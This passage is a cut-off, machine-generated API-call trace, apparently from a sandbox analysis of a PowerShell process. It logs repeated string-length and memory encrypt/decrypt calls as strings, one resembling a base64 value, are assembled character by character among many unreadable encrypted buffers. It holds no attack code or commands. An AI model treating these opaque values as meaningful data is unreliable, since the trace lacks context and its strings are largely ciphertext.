Memory=0x3c4e94) returned 0x0 [0248.100] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶳ襣৷눧ꗈ뒧맗≂) returned 0x10 [0248.100] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶳ襣৷눧ꗈ뒧맗≂) returned 0x10 [0248.101] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.101] SysStringLen (param_1="xI3thk6wQVdCsgF5") returned 0x10 [0248.101] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.101] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ≖) returned 0x10 [0248.101] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ≖) returned 0x10 [0248.101] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ≖) returned 0x10 [0248.102] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ≖) returned 0x18 [0248.102] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.102] SysStringLen (param_1="xI3thk6wQVdCsgF5G䩨⽽䣘꥔읍\쟜⊛) returned 0x18 [0248.102] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.102] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ뱖븏볱梗ꥆ汕零幛≸) returned 0x18 [0248.102] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ뱖븏볱梗ꥆ汕零幛≸) returned 0x18 [0248.102] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.103] SysStringLen (param_1="xI3thk6wQVdCsgF5GQ⽽䣘꥔읍\쟜⊛) returned 0x18 [0248.103] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.103] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ策\᳝디扉㝻砰⑎") returned 0x18 [0248.103] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ策\᳝디扉㝻砰⑎") returned 0x18 [0248.103] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.103] SysStringLen (param_1="xI3thk6wQVdCsgF5GQj䣘꥔읍\쟜⊛) returned 0x18 [0248.103] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.103] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ\珘邆쿝䪉㩌Ȧ") returned 0x18 [0248.103] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ\珘邆쿝䪉㩌Ȧ") returned 0x18 [0248.103] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.104] SysStringLen (param_1="xI3thk6wQVdCsgF5GQj/꥔읍\쟜⊛) returned 0x18 [0248.104] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.104] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯŖ迺ꡚ팔\엙蠯鿎펠") returned 0x18 [0248.104] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯŖ迺ꡚ팔\엙蠯鿎펠") returned 0x18 [0248.104] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.104] SysStringLen (param_1="xI3thk6wQVdCsgF5GQj/a읍\쟜⊛) returned 0x18 [0248.104] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.104] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ䍖て핌䳥풵ྰ㱌≴) returned 0x18 [0248.104] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ䍖て핌䳥풵ྰ㱌≴) returned 0x18 [0248.104] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.105] SysStringLen (param_1="xI3thk6wQVdCsgF5GQj/au\쟜⊛) returned 0x18 [0248.105] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.105] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ\ꛛ࢟⢖鲒㚉㧻ǐ鿌") returned 0x18 [0248.105] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ\ꛛ࢟⢖鲒㚉㧻ǐ鿌") returned 0x18 [0248.105] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.105] SysStringLen (param_1="xI3thk6wQVdCsgF5GQj/auI鯇") returned 0x18 [0248.105] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.105] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ煖樌ꗼ瞬虂槙氕䴀∍) returned 0x18 [0248.105] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ煖樌ꗼ瞬虂槙氕䴀∍) returned 0x18 [0248.105] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.105] SysStringLen (param_1="xI3thk6wQVdCsgF5GQj/auIo") returned 0x18 [0248.105] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.106] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ剖䏗뉱䘞컮⋜) returned 0x18 [0248.106] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ剖䏗뉱䘞컮⋜) returned 0x18 [0248.106] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ剖䏗뉱䘞컮⋜) returned 0x18 [0248.106] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ剖䏗뉱䘞컮⋜) returned 0x20 [0248.106] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.107] SysStringLen (param_1="xI3thk6wQVdCsgF5GQj/auIo8㥴\⋝걭췺㖨∑) returned 0x20 [0248.107] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.107] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ剖䏗뉱䘞컮೜葵ῶ嘛✕⨲戠툪⋊) returned 0x20 [0248.107] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ剖䏗뉱䘞컮೜葵ῶ嘛✕⨲戠툪⋊) returned 0x20 [0248.107] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.107] SysStringLen (param_1="xI3thk6wQVdCsgF5GQj/auIo81\⋝걭췺㖨∑) returned 0x20 [0248.107] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.107] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ剖䏗뉱䘞컮ᷜ枑叁䢙錂℗郵≓) returned 0x20 [0248.107] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ剖䏗뉱䘞컮ᷜ枑叁䢙錂℗郵≓) returned 0x20 [0248.107] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.108] SysStringLen (param_1="xI3thk6wQVdCsgF5GQj/auIo81C洢窱꣍鴵ᇵ") returned 0x20 [0248.108] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.108] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ剖䏗뉱䘞컮㫜ﴚ遁쨷䔽㌍㫁⊡) returned 0x20 [0248.108] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ剖䏗뉱䘞컮㫜ﴚ遁쨷䔽㌍㫁⊡) returned 0x20 [0248.108] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.108] SysStringLen (param_1="xI3thk6wQVdCsgF5GQj/auIo81C5窱꣍鴵ᇵ") returned 0x20 [0248.108] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.108] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ剖䏗뉱䘞컮\僙䮳䲁ޢ횸㴲矌") returned 0x20 [0248.108] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ剖䏗뉱䘞컮\僙䮳䲁ޢ횸㴲矌") returned 0x20 [0248.108] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.108] SysStringLen (param_1="xI3thk6wQVdCsgF5GQj/auIo81C5T꣍鴵ᇵ") returned 0x20 [0248.109] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.109] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ剖䏗뉱䘞컮ꋜ譀ᮅអ䪯铋꜊뗄⋦) returned 0x20 [0248.109] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ剖䏗뉱䘞컮ꋜ譀ᮅអ䪯铋꜊뗄⋦) returned 0x20 [0248.109] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.109] SysStringLen (param_1="xI3thk6wQVdCsgF5GQj/auIo81C5Tz鴵ᇵ") returned 0x20 [0248.109] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.109] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ剖䏗뉱䘞컮懜蔥⧛灗䵙㯰㠳⊾) returned 0x20 [0248.109] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ剖䏗뉱䘞컮懜蔥⧛灗䵙㯰㠳⊾) returned 0x20 [0248.109] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.109] SysStringLen (param_1="xI3thk6wQVdCsgF5GQj/auIo81C5Tzeᇵ") returned 0x20 [0248.109] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.109] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ剖䏗뉱䘞컮峜泷㤛ෳݻ䰽᨞∥) returned 0x20 [0248.109] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ剖䏗뉱䘞컮峜泷㤛ෳݻ䰽᨞∥) returned 0x20 [0248.110] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.110] SysStringLen (param_1="xI3thk6wQVdCsgF5GQj/auIo81C5TzeQ") returned 0x20 [0248.110] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.110] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ剖䏗뉱䘞컮㿜釜丳༉뽫\ۙ뚴₵") returned 0x20 [0248.110] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ剖䏗뉱䘞컮㿜釜丳༉뽫\ۙ뚴₵") returned 0x20 [0248.110] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ剖䏗뉱䘞컮㿜釜丳༉뽫\ۙ뚴₵") returned 0x20 [0248.111] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ剖䏗뉱䘞컮㿜釜丳༉뽫\ۙ뚴₵") returned 0x28 [0248.111] SystemFunction041 (in: Memory=0x3af15c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af15c) returned 0x0 [0248.111] SysStringLen (param_1="xI3thk6wQVdCsgF5GQj/auIo81C5TzeQ+븺쟜吹㴴쓠䥟") returned 0x28 [0248.111] SystemFunction040 (in: Memory=0x3af15c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af15c) returned 0x0 [0248.111] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ剖䏗뉱䘞컮㿜釜丳༉뽫\ۙ뚴₵玥㎚ꬓ煟㍨欷퀇ꢥ") returned 0x28 [0248.111] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ剖䏗뉱䘞컮㿜釜丳༉뽫\ۙ뚴₵玥㎚ꬓ煟㍨欷퀇ꢥ") returned 0x28 [0248.111] SystemFunction041 (in: Memory=0x3af15c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af15c) returned 0x0 [0248.111] SysStringLen (param_1="xI3thk6wQVdCsgF5GQj/auIo81C5TzeQ+a쟜吹㴴쓠䥟") returned 0x28 [0248.111] SystemFunction040 (in: Memory=0x3af15c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af15c) returned 0x0 [0248.112] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ剖䏗뉱䘞컮㿜釜丳༉뽫\ۙ뚴₵쟘鵌澰쮽絨圮") returned 0x28 [0248.112] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ剖䏗뉱䘞컮㿜釜丳༉뽫\ۙ뚴₵쟘鵌澰쮽絨圮") returned 0x28 [0248.112] SystemFunction041 (in: Memory=0x3af15c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af15c) returned 0x0 [0248.112] SysStringLen (param_1="xI3thk6wQVdCsgF5GQj/auIo81C5TzeQ+aF吹㴴쓠䥟") returned 0x28 [0248.112] SystemFunction040 (in: Memory=0x3af15c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af15c) returned 0x0 [0248.112] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ剖䏗뉱䘞컮㿜釜丳༉뽫\ۙ뚴₵ᣣ湫漵픡瞥ﴃ㚝") returned 0x28 [0248.112] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ剖䏗뉱䘞컮㿜釜丳༉뽫\ۙ뚴₵ᣣ湫漵픡瞥ﴃ㚝") returned 0x28 [0248.112] SystemFunction041 (in: Memory=0x3af15c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af15c) returned 0x0 [0248.112] SysStringLen (param_1="xI3thk6wQVdCsgF5GQj/auIo81C5TzeQ+aFj㴴쓠䥟") returned 0x28 [0248.112] SystemFunction040 (in: Memory=0x3af15c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af15c) returned 0x0 [0248.112] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ剖䏗뉱䘞컮㿜釜丳༉뽫\ۙ뚴₵姰뒱≻训봏Პ\⋟) returned 0x28 [0248.112] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ剖䏗뉱䘞컮㿜釜丳༉뽫\ۙ뚴₵姰뒱≻训봏Პ\⋟) returned 0x28 [0248.112] SystemFunction041 (in: Memory=0x3af15c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af15c) returned 0x0 [0248.113] SysStringLen (param_1="xI3thk6wQVdCsgF5GQj/auIo81C5TzeQ+aFjC쓠䥟") returned 0x28 [0248.113] SystemFunction040 (in: Memory=0x3af15c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af15c) returned 0x0 [0248.113] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ剖䏗뉱䘞컮㿜釜丳༉뽫\ۙ뚴₵ᗐ벟⌦㙛᩿ɉ") returned 0x28 [0248.113] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ剖䏗뉱䘞컮㿜釜丳༉뽫\ۙ뚴₵ᗐ벟⌦㙛᩿ɉ") returned 0x28 [0248.113] SystemFunction041 (in: Memory=0x3af15c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af15c) returned 0x0 [0248.113] SysStringLen (param_1="xI3thk6wQVdCsgF5GQj/auIo81C5TzeQ+aFjCo䥟") returned 0x28 [0248.113] SystemFunction040 (in: Memory=0x3af15c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af15c) returned 0x0 [0248.113] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ剖䏗뉱䘞컮㿜釜丳༉뽫\ۙ뚴₵刮浰↩⠽淳⠮䘕㯯") returned 0x28 [0248.113] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ剖䏗뉱䘞컮㿜釜丳༉뽫\ۙ뚴₵刮浰↩⠽淳⠮䘕㯯") returned 0x28 [0248.113] SystemFunction041 (in: Memory=0x3af15c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af15c) returned 0x0 [0248.113] SysStringLen (param_1="xI3thk6wQVdCsgF5GQj/auIo81C5TzeQ+aFjCoG") returned 0x28 [0248.113] SystemFunction040 (in: Memory=0x3af15c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af15c) returned 0x0 [0248.114] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ剖䏗뉱䘞컮㿜釜丳༉뽫\ۙ뚴₵⻯⺃㋜ᑘ㛟욧킑ⷢ") returned 0x28 [0248.114] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ剖䏗뉱䘞컮㿜釜丳༉뽫\ۙ뚴₵⻯⺃㋜ᑘ㛟욧킑ⷢ") returned 0x28 [0248.114] SystemFunction041 (in: Memory=0x3af15c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af15c) returned 0x0 [0248.114] SysStringLen (param_1="xI3thk6wQVdCsgF5GQj/auIo81C5TzeQ+aFjCoGR") returned 0x28 [0248.114] SystemFunction040 (in: Memory=0x3af15c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af15c) returned 0x0 [0248.114] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ剖䏗뉱䘞컮㿜釜丳༉뽫\ۙ뚴₵⶗歏\埙䓾眍䣄⊊) returned 0x28 [0248.114] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ剖䏗뉱䘞컮㿜釜丳༉뽫\ۙ뚴₵⶗歏\埙䓾眍䣄⊊) returned 0x28 [0248.114] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ剖䏗뉱䘞컮㿜釜丳༉뽫\ۙ뚴₵⶗歏\埙䓾眍䣄⊊) returned 0x28 [0248.115] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ剖䏗뉱䘞컮㿜釜丳༉뽫\ۙ뚴₵⶗歏\埙䓾眍䣄⊊) returned 0x30 [0248.115] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0248.115] SysStringLen (param_1="xI3thk6wQVdCsgF5GQj/auIo81C5TzeQ+aFjCoGRBᔂᰦ挧疸묻뜄䝳") returned 0x30 [0248.115] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0248.115] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ剖䏗뉱䘞컮㿜釜丳༉뽫\ۙ뚴₵⶗歏\埙䓾眍䣄Ί꽡尡퀶袅賠鋝≀) returned 0x30 [0248.115] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ剖䏗뉱䘞컮㿜釜丳༉뽫\ۙ뚴₵⶗歏\埙䓾眍䣄Ί꽡尡퀶袅賠鋝≀) returned 0x30 [0248.115] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0248.115] SysStringLen (param_1="xI3thk6wQVdCsgF5GQj/auIo81C5TzeQ+aFjCoGRBqᰦ挧疸묻뜄䝳") returned 0x30 [0248.115] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0248.116] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ剖䏗뉱䘞컮㿜釜丳༉뽫\ۙ뚴₵⶗歏\埙䓾眍䣄\矘⻷⶜㖅뀏잉喽\⋚) returned 0x30 [0248.116] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ剖䏗뉱䘞컮㿜釜丳༉뽫\ۙ뚴₵⶗歏\埙䓾眍䣄\矘⻷⶜㖅뀏잉喽\⋚) returned 0x30 [0248.116] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0248.116] SysStringLen (param_1="xI3thk6wQVdCsgF5GQj/auIo81C5TzeQ+aFjCoGRBqM挧疸묻뜄䝳") returned 0x30 [0248.116] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0248.116] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ剖䏗뉱䘞컮㿜釜丳༉뽫\ۙ뚴₵⶗歏\埙䓾眍䣄媴贏༫䑩⚝⊰) returned 0x30 [0248.116] SysStringLen (param_1="粄ᘠ\糦㩓耏ﶥᑲᙘ믲㈢蹱ﲯ剖䏗뉱䘞컮㿜釜丳༉뽫\ۙ뚴₵⶗歏\埙䓾眍䣄媴贏༫䑩⚝⊰) returned 0x30 [0248.116] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0248.116] SysStringLen (param_1="xI3thk6wQVdCsgF5GQj/auIo81C5TzeQ+aFjCoGRBqM=疸묻뜄䝳") returned 0x30 [0248.116] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0248.116] EtwEventActivityIdControl () returned 0x0 [0248.116] EtwEventActivityIdControl () returned 0x0 [0248.116] EtwEventActivityIdControl () returned 0x0 [0248.117] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0248.117] EtwEventActivityIdControl () returned 0x0 [0248.117] EtwEventActivityIdControl () returned 0x0 [0248.118] EtwEventActivityIdControl () returned 0x0 [0248.118] SysStringLen (param_1="") returned 0x8 [0248.118] SysStringLen (param_1="N") returned 0x8 [0248.118] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.118] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0248.119] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0248.119] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.119] SysStringLen (param_1="ND") returned 0x8 [0248.119] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.119] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0248.119] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0248.119] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.119] SysStringLen (param_1="NDZ") returned 0x8 [0248.119] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.119] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0248.119] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0248.119] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.120] SysStringLen (param_1="NDZl") returned 0x8 [0248.120] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.120] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0248.120] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0248.120] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.120] SysStringLen (param_1="NDZlO") returned 0x8 [0248.120] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.120] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0248.120] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0248.120] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.120] SysStringLen (param_1="NDZlOD") returned 0x8 [0248.120] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.120] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0248.121] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0248.121] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.121] SysStringLen (param_1="NDZlODR") returned 0x8 [0248.121] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.121] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0248.121] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0248.121] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.121] SysStringLen (param_1="NDZlODRm") returned 0x8 [0248.121] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0248.121] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0248.122] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0248.122] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0248.122] SysStringLen 